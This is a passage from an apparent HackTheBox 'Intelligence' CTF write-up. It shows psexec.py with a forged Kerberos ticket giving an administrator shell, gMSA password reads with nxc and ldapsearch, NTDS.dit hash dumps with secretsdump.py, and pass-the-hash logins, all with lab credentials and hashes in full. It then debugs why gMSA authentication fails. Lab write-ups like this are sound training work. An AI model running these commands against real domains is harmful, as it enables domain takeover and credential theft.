String outfile, Boolean ptt, String domainController, LUID luid, Boolean describe, Boolean verbose, Boolean opsec) at Rubeus.Ask.TGT(String userName, String domain, String keyString, KERB_ETYPE etype, String outfile, Boolean ptt, String domainController, LUID luid, Boolean describe, Boolean opsec) at Rubeus.Commands.Asktgt.Execute(Dictionary`2 arguments) at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments) at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)Re-running the command ultimately works. Otherwise, it sounds like using the
4.7_x64version of the tool is consistently better.
GG WP !
jamarir@kali:~$ KRB5CCNAME='Administrator@cifs_dc.intelligence.htb@INTELLIGENCE.HTB.ccache' psexec.py -dc-ip 10.10.10.248 -target-ip 10.10.10.248 -no-pass -k intelligence.htb/Administrator@dc.intelligence.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.248.....
[*] Found writable share ADMIN$
[*] Uploading file arfbMjDj.exe
[*] Opening SVCManager on 10.10.10.248.....
[*] Creating service nYza on 10.10.10.248.....
[*] Starting service nYza.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type \Users\Administrator\Desktop\root.txt
f8[...]91
PS C:\Windows\system32> klist
Current LogonId is 0:0x354faf
Cached Tickets: (1)
#0> Client: Administrator @ INTELLIGENCE.HTB
Server: cifs/DC.intelligence.htb @ INTELLIGENCE.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: <DATE> (local)
End Time: <DATE> (local)
Renew Time: <DATE> (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
PS C:\Windows\system32> type \\DC.intelligence.htb\Users\Administrator\Desktop\root.txt
10[...]53
PS C:\Windows\system32> klist purge
Current LogonId is 0:0x42c1c8
Deleting all tickets:
Ticket(s) purged!
STATUS_LOGON_FAILURE Without gMSA LDAP Request ?
For some mystic reasons, if we restart the box and use the svc_int$’s NTHash directly, we wouldn’t be able to authenticate as svc_int$:
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb STATUS_LOGON_FAILURE
While it works after having stolen the gMSA at least once:
jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'TED.GRAVES' -p 'Mr.Teddy' --gmsa
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
LDAPS 10.10.10.248 636 DC [+] intelligence.htb\TED.GRAVES:Mr.Teddy
LDAPS 10.10.10.248 636 DC [*] Getting GMSA Passwords
LDAPS 10.10.10.248 636 DC Account: svc_int$ NTLM: b05dfb2636385604c6d36b0ca61e35cb
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb
Digging into the Wireshark debug comparison world (using Meld as a packet comparator), we realize that’s because even if the NTLM NEGOTIATE, CHALLENGE and AUTH are valid, the resulting NTLM response returns a STATUS_LOGON_FAILURE error for the first nxc authentication (same behavior here):
jamarir@kali:$ sudo apt install -y meld
SMB2 Packet Introspection (Signature ?)
Looking at the SYNC SMB2 Packet Header and session setup response documentations, we see that for the failed connection, the signing flag isn’t set, hence the signature NULL:
Also, the NT Status is set to STATUS_LOGON_FAILURE, hence we can’t authenticate:
Finally, the security buffer is NULL for authentication failures, while it’s set to a GSS-API blob when it succeeded:
NetExec Introspection (LDAP Request ?)
Let’s find out which exact line into the NetExec’s ldap.py script, within ournxc ldap command, resolved the svc_int$ NTLM authentication.
jamarir@kali:~$ find / -iwholename '*nxc*ldap.py' 2>/dev/null
/usr/lib/python3/dist-packages/nxc/protocols/ldap.py
We may confirm we’re debugging it correctly adding an exit() call at the beginning of the gmsa() function:
And see that we no longer grab the gMSA password:
jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'TED.GRAVES' -p 'Mr.Teddy' --gmsa
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
LDAPS 10.10.10.248 636 DC [+] intelligence.htb\TED.GRAVES:Mr.Teddy
1337
Because the svc_int$ NTLM authentication still fails:
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb STATUS_LOGON_FAILURE
We know our fix is deeper. So we’ll move our exit() call further. The exact line of code fixing the authentication is an LDAP search (and msDS-ManagedPassword more specifically):
Indeed, querying the msDS-ManagedPassword LDAP attribute fixes the svc_int$ NTLM authentication:
jamarir@kali:~$ ldapsearch -N -H ldap://DC.intelligence.htb -U 'TED.GRAVES' -w 'Mr.Teddy' -b 'CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb' -s base 'msDS-ManagedPassword'
[...]
# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
msDS-ManagedPassword:: AQAAACQCAAAQABIBFAIcAmSMaC/avwpkfYPDUqzaCeFVh6g1jxXT3Tp
K2vlIqh1Bv11HjIjS3EhqSHxl/8atfcKz6s2R/51QA6VNk80rTiobWOSAPjwD9lo5iERU3VkNdiBZ
6oaprTG4MbxDNVxPmink5GCuMU7hsC9Zz/tvWQ1lIow8IxhaSqq39QZikGccXoA3Gh9EjEqTfedEX
oFNvR3Kl4Onpyfu31Q/fVFXhS5A0EecJ6ZjdTjduNAwNqBKdZiMvW0R8jsv5MP9NyASRtEjtDO3xv
eJyrPUyZVTH/9Wgu+7yG8A17OJt2b5osmgqVlQiVHLnEqoqjBUhlNmavj5QyX0xbhd/g+tJwE2y9U
AACKWopVkJLfMefw9pzCI6hX1YnpXD6xvqaIW7ptaI0tW4GfkTUxFP1P+fYH5NgJiHR+B/qt8Cx9T
U2HTe/HbZrs4nU+yy+G++qNwFCSm2t9ExGf6BJCQkN3bhCOLZK13sFa9aajHT3KQtOlIWP47v5n0m
VD3CbU284JoE+kXKzYAPnjXzNQNn+yHbpYleVCms6tGCtkYJqIck5QkBKtrGKBTzx7cWcadh8obiI
qC4+O+2iZS+NQLgP+cvo39PhZpT7kkuQaQB74wSHvL5FRSmvTtVfaoB+n97irAgirgY/T7YHd8lxU
DXOSKb/AuK0RjvNkgoI5r1lbBe5wX5Y/eMEQAADjyjfOJFwAAOJS9QIkXAAA=
[...]
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb
Note that when
tiffany.molina, who cannot read the gMSA password, executes that gMSA module, thesvc_int$NTLM authentication still fails:jamarir@kali:~$ nxc ldap 10.10.10.248 -u 'tiffany.molina' -p 'NewIntelligenceCorpUser9876' -d 'intelligence.htb' --gmsa SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False) LDAPS 10.10.10.248 636 DC [+] intelligence.htb\tiffany.molina:NewIntelligenceCorpUser9876 LDAPS 10.10.10.248 636 DC [*] Getting GMSA Passwords LDAPS 10.10.10.248 636 DC Account: svc_int$ NTLM: jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H 'b05dfb2636385604c6d36b0ca61e35cb' SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False) SMB 10.10.10.248 445 DC [-] intelligence.htb\svc_int$:b05dfb2636385604c6d36b0ca61e35cb STATUS_LOGON_FAILURE
Therefore, we might assume that the gMSA must kinda be cached by the DC (read at least once) before authentication as svc_int$, or calculated when that attribute is requested.
msDS-ManagedPassword Constructed Attribute !
We may confirm this dumping the NTDS.dit database to grab the Administrator’s NTHash:
jamarir@kali:~$ KRB5CCNAME=Administrator@cifs_dc.intelligence.htb@INTELLIGENCE.HTB.ccache secretsdump.py -user-status -history -pwd-last-set -k -no-pass 'intelligence.htb/Administrator:a'@dc.intelligence.htb -just-dc-ntlm
[...]
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3::: (pwdLastSet=2021-04-19 00:18) (status=Enabled)
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (pwdLastSet=never) (status=Disabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9ce5f83a494226352bca637e8c1d6cb6::: (pwdLastSet=2021-04-19 00:42) (status=Disabled)
[...]
intelligence.htb\Ted.Graves:1140:aad3b435b51404eeaad3b435b51404ee:421001de12db5325304b41275a0407b9::: (pwdLastSet=2021-04-19 00:49) (status=Enabled)
DC$:1000:aad3b435b51404eeaad3b435b51404ee:7ec80d7b0eff589972684650e9ec5751::: (pwdLastSet=<DATE>) (status=Enabled)
svc_int$:1144:aad3b435b51404eeaad3b435b51404ee:b05dfb2636385604c6d36b0ca61e35cb::: (pwdLastSet=2025-<DATE>) (status=Enabled)
[*] Cleaning up...
Restarting the box, and redumping the NTDS.dit database:
jamarir@kali:~$ getTGT.py intelligence.htb/'Administrator'@DC.intelligence.htb -dc-ip 10.10.10.248 -hashes ':9075113fe16cf74f7c0f9b27e882dad3'
jamarir@kali:~$ KRB5CCNAME=Administrator@DC.intelligence.htb.ccache secretsdump.py -k -no-pass -user-status -history -pwd-last-set -just-dc-ntlm 'intelligence.htb/Administrator'@dc.intelligence.htb
[...]
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3::: (pwdLastSet=2021-04-19 00:18) (status=Enabled)
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (pwdLastSet=never) (status=Disabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9ce5f83a494226352bca637e8c1d6cb6::: (pwdLastSet=2021-04-19 00:42) (status=Disabled)
[...]
DC$:1000:aad3b435b51404eeaad3b435b51404ee:9840c5ee873c635cb229910c577cbd25::: (pwdLastSet=2025-<DATE>) (status=Enabled)
svc_int$:1144:aad3b435b51404eeaad3b435b51404ee:42d836431fc5ab14a3613711a1f19eb2::: (pwdLastSet=2021-06-14 14:05) (status=Enabled)
AHH, Gotcha !! As we can see, the svc_int$'s NTHash is 42d836431fc5ab14a3613711a1f19eb2, which was set when the box was released (2021). This outdated NTHash would work, as long as we don’t query the msDS-ManagedPassword LDAP attribute:
jamarir@kali:~$ nxc smb 10.10.10.248 -u 'svc_int$' -H '42d836431fc5ab14a3613711a1f19eb2'
SMB 10.10.10.248 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [+] intelligence.htb\svc_int$:42d836431fc5ab14a3613711a1f19eb2
Howbeit, I did the box in 2025. Knowing that the gMSA password should be updated every month, such 2021-outdated gMSA password is definitely not expected. Requesting that msDS-ManagedPassword LDAP attribute again shows that it updates svc_int$’s NTHash “on-the-fly”, back to b05dfb2636385604c6d36b0ca61e35cb:
jamarir@kali:~$ ldapsearch -N -H ldap://DC.intelligence.htb -U 'TED.GRAVES' -w 'Mr.Teddy' -b 'CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb' -s base 'msDS-ManagedPassword'
jamarir@kali:~$ KRB5CCNAME=Administrator@DC.intelligence.htb.ccache secretsdump.py -k -no-pass -user-status -history -pwd-last-set -just-dc-ntlm 'intelligence.htb/Administrator'@dc.intelligence.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3::: (pwdLastSet=2021-04-19 00:18) (status=Enabled)
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (pwdLastSet=never) (status=Disabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9ce5f83a494226352bca637e8c1d6cb6::: (pwdLastSet=2021-04-19 00:42) (status=Disabled)
[...]
DC$:1000:aad3b435b51404eeaad3b435b51404ee:9840c5ee873c635cb229910c577cbd25::: (pwdLastSet=2025-<DATE>) (status=Enabled)
svc_int$:1144:aad3b435b51404eeaad3b435b51404ee:b05dfb2636385604c6d36b0ca61e35cb::: (pwdLastSet=2025-<DATE>) (status=Enabled)
[*] Cleaning up...
That’s because the msDS-ManagedPassword attribute has the FLAG_ATTR_IS_CONSTRUCTED flag set, meaning it’s a constructed attribute:
When computed, such constructed attributes “have effects” on the values of normal attributes for write:
As this GoldenMSA The Hacker Recipes page, or this selfadsi article state, such attributes are computed by the LDAP request’s receiver (i.e. the DC here), whenever the request is actually sent:
Subscribe to my newsletter
Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
jamarir
jamarir
Pentester, CTF Player, Game Modding Enthusiast | CRTO